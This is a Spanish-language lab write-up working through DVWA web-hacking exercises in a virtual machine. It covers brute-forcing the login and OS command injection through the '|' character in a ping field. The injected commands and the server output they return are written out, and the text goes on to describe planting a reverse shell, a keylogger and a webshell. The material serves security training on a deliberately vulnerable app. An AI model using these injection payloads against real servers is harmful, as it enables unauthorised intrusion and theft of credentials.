Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
ejercicios de web hacking alojados en una máquina virtual. En concreto se intentará completar
el conjunto de ejercicios de Damn Vulnerable Web Apps (DVWA) que podremos encontrar en
http://www.dvwa.co.uk/
Estos ejercicios pretenden ser una guía práctica de posibles vulnerabilidades a encontrar en el
mundo real, la aplicación web tiene un área de configuración en la que podremos establecer el
nivel de seguridad. Para llevar a cabo la mayor parte de estos ejercicios se establecerá el nivel
de seguridad en “medio” o nivel 2 de 3. En aquellos casos en los que el nivel de seguridad se
haya bajado a “Low” se indicará pertinentemente.
Vemos que como variables de sesión se guarda el nivel de seguridad, una variable llamada _ga,
una cookie de sesión en PHPESSID y una variable tz que almacena la zona horaria.
Brute Force
La técnica de la fuerza Bruta consiste en la prueba y error de diferentes palabras en los campos
“Username” y “Password” hasta que consigue alguna de las credenciales legítimas. Este ataque
nos permitirá acceder a la aplicación web como si fuéramos el usuario.
Un buen sistema para evitar ser víctima de este tipo de ataque es mantener una buena política
de contraseñas, de longitud adecuada, con restricciones de obligatorio cumplimiento como el
uso de caracteres numéricos y de puntuación y un cambio periódico de las contraseñas.
Se recomienda esta periodicidad en el cambio de contraseñas ya que este tipo de ataque exige
una cantidad significativa de computación y por tanto requiere de tiempo y capacidad de
procesado para llevarse a cabo.
Además, necesitaremos un buen diccionario para realizar las pruebas de usuario y contraseña.
Podemos probar las cuentas de otros usuarios del mismo modo, esta vez cargaremos un
usuario para cada password, estos usuarios están almacenados en el fichero nombres.txt
Username=admin : password=admin
En niveles de seguridad más avanzados habrá que tener en cuenta otro tipo de restricciones,
como el tiempo de espera entre intento e intento y el número de intentos máximo antes de
ser bloqueados.
Command Execution
Aquí la restricción de código viene limitada y con un filtro de caracteres para evitar los más
comunes, sin embargo, el programador de la página no bloqueó el carácter ‘|’ así pues,
podremos ejecutar comandos siempre y cuando los precedamos por una dirección ip válida. El
sistema del servidor web realizará el ping y después ejecutará el segundo comando.
En Burp Suite observamos que en la variable “ip” enviamos la dirección y ésta va precedida por
el carácter | y el comando ls
Linux vulnerablewebapps 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015
x86_64 GNU/Linux
www-data
127.0.0.1 |find /etc -type f -perm -4 -print 2> /dev/null (mostramos los ficheros en los que el
usuario www-data tiene permiso de lectura)
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
127.0.0.1 |find / -type f -perm -2 -print 2> /dev/null (buscamos los ficheros con permiso de
escritura)
/var/www/html/peruggia/includes/mysql.php
/var/www/html/peruggia/includes/login.php
/var/www/html/peruggia/includes/learn.php
/var/www/html/peruggia/includes/comment.php
/var/www/html/peruggia/includes/updel.php
/var/www/html/peruggia/includes/main.php
/var/www/html/peruggia/includes/account.php
/var/www/html/peruggia/about.html
/var/www/html/peruggia/style.css
/var/www/html/peruggia/install.php
/var/www/html/peruggia/index.php
/var/www/html/peruggia/conf.php
/var/www/html/peruggia/images/lolhax.jpg
/var/www/html/peruggia/background.png
/var/www/html/peruggia/logo.png
/run/sendmail/mta/smsocket
/sys/fs/cgroup/systemd/user/1000.user/c1.session/cgroup.event_control
/sys/fs/cgroup/systemd/user/1000.user/cgroup.event_control
/sys/fs/cgroup/systemd/user/cgroup.event_control
/sys/fs/cgroup/systemd/cgroup.event_control
/sys/kernel/security/apparmor/.access
/proc/sys/kernel/ns_last_pid
/proc/1/task/1/attr/current
/proc/1/task/1/attr/exec
/proc/1/task/1/attr/fscreate
/proc/1/task/1/attr/keycreate
/proc/1/task/1/attr/sockcreate
/proc/1/attr/current
/proc/1/attr/exec
/proc/1/attr/fscreate
/proc/1/attr/keycreate
/proc/1/attr/sockcreate
/proc/2/task/2/attr/current
(…)
/proc/22411/task/22411/attr/sockcreate
/proc/22411/attr/current
/proc/22411/attr/exec
/proc/22411/attr/fscreate
/proc/22411/attr/keycreate
/proc/22411/attr/sockcreate
127.0.0.1 | ls /var/www/html/peruggia/
www-data
127.0.0.1 | ls /var/www/html/peruggia/
En este punto podemos asegurar que el servidor ha sido vulnerado. Un atacante podría ir
registrando información del sistema en el fichero insert.txt regularmente e incluso podría
descargar tantos complementos como quisiera. Hemos visto en la información recabada
anteriormente que el servidor tiene instalado Python y podríamos desarrollar una Shell
inversa, descargarla en la carpeta /var/www/html/peruggia y ejecutar el programa, aquí el
problema de seguridad se vuelve serio ya que un keylogger o algún otro tipo de herramienta
similar acabaría proporcionando información como contraseñas y usuarios o incluso
podríamos descargar alguna aplicación que nos permitiera elevar nuestros privilegios dentro
del sistema. Además hemos comprobado que podemos revisar la configuración del sistema, el
software que tiene instalado, los usuarios y sus permisos.
En este caso, al haber subido una webshell lo que deberíamos hacer es acceder a esta
localización desde la web, nos dará acceso total a la aplicación web.